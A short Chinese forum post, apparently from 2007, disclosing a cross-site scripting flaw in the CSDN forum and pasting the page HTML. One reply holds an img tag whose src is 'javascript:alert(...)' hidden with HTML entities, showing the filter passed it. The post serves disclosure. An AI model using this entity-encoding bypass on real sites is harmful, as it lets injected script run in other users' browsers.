优快云论坛的跨站漏洞

鉴于优快云的论坛出现严重跨站漏洞...

本人决定暂且不上...特此声明... 

返回的代码如下...

一个编码就过了...真让人心寒啊...

 <input type="button" value="举报" onclick="window.location.href='mai'+'lto:'+'myc'+'sdn@c'+'sdn.n'+'et?subject=优快云 Topic Report';return false">
 <input type="button" value="TOP" onclick="window.location.href='#top'"> </td></tr></table></td></tr></table>
<table class="item reply" csdnid="reply_45922064" cellspacing="1"><tr> <td class="info">
   <ul><li class="username"><a target="_blank" href="http://hi.youkuaiyun.com/chaircat" onmouseover="javascript:showUserCard();"><img alt="" src="/u/ui/images/blank.gif" class="userstatus" /><var csdnid="Reply_Username">chaircat</var></a></li>
   <li class="nickname"><textarea csdnid="Reply_NickName" cols="" rows="" readonly="readonly">chaircat</textarea></li>
   <li class="grade">等 级：<img alt="" csdnid="Reply_UserRank" class="grade user5" src="/u/ui/images/blank.gif" /></li></ul></td>
   <td class="main"><table cellspacing="0" style="height: 100%;">
  <tr><td class="floor"><span>发表于：<var csdnid='Reply_Date'>2007-11-05 08:10:28</var></span><var csdnid="Reply_Layer">6</var>楼&nbsp;得分:<var csdnid='Reply_Point'>0</var></td></tr>
  <tr><td csdnid="Reply_Body" class="content">啊哈哈哈哈~~~XSS~~~~ <br /> 好了~~~优快云的兄弟们有的忙了~~~ <br /> 印象中DV过滤的还可以...还有Discuz... <br /> <img src="j&#97v&#97scrip&#116&#58alert(/跨站跨站I love you~~/)"  alt="" /></td></tr><tr><td csdnid="Reply_ModifyInfo"></td></tr><tr><td class="function">
  <!-- <span>预留的文字链广告位</span> //-->